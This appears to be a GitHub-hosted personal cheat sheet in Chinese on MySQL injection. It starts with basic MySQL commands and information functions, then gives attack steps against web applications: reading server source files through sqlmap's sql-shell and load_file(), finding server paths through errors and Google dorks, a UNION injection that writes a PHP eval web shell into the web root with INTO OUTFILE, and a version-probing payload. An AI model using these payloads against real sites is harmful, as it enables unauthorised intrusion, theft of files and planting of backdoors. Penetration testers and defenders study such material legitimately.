-
Notifications
You must be signed in to change notification settings - Fork 0
/
Mysql注入
55 lines (48 loc) · 2.05 KB
/
Mysql注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Mysql数据库:
关系型数据库,Oracle公司旗下
LAMP平台,一般用于linux系统+apacheWeb容器+mysql数据库+php脚本语言
使用yum安装mysql: yum -y install mysql mysql-server
service mysqld start
mysql -uroot -ppassword
创建数据库:CREATE DATABASE xxx
删除数据库:DROP DATABASE xxx
创建新表:CREATE TABLE MYTABLE(name VARCHAR(20),sex CHAR(1));
查看数据库:show databases;
Mysql数据库函数:
1、system_user() :系统用户名
2、user() :用户名
3、current_user() :当前用户名
4、session_user() :连接数据库的用户名
5、database() :数据库名
6、version() :数据库版本
7、load_file() :转成16进制或者10进制MYSQL读取本地文件的函数
8、@@datadir :读取数据库路径
9、@@basedir :Mysql安装路径
10、@@version_compile_os :操作系统
Mysql数据库连接:
一般位于/inc/目录下:
<?php
//数据库配置文件
$host='localhost';
$database='test';
$user='root';
$pass='password';
$webml='/www/';
?>
mysql4.0
利用sqlmap的sql-shell读取源码文件:
python sqlmap.py -u "http://xxx.com/index.php?id=1" --sql-shell
根据报错等方式可以获取到物理路径文件如:/home/webroot/introduction.php
读取该文件:sql-shell>select load_file('/home/webroot/introduction.php');
也可以使用绝对路径的十六进制来读取,但是不能使用单引号
物理路径获取方式:
1.报错显示
2.google hacking: site:xxx.com warning
3.遗留文件 phpinfo , info , test , php
4.漏洞爆路径
5.读取配置文件
6.根据操作系统猜测默认路径 ,如win2003+IIS:c:/windows/system32/inetsrv/metabase.xml
读取函数:load_file()
写入函数:into outfile:
and 1=2 union select 1,"<?php @eval($_POST['test']);?>",3,4,5 into outfile 'c:/wwwroot/xxx/test.php'
判断数据库版本信息(遇到查询错误):and 1=2 union select 1,unhex(hex(@@version))/*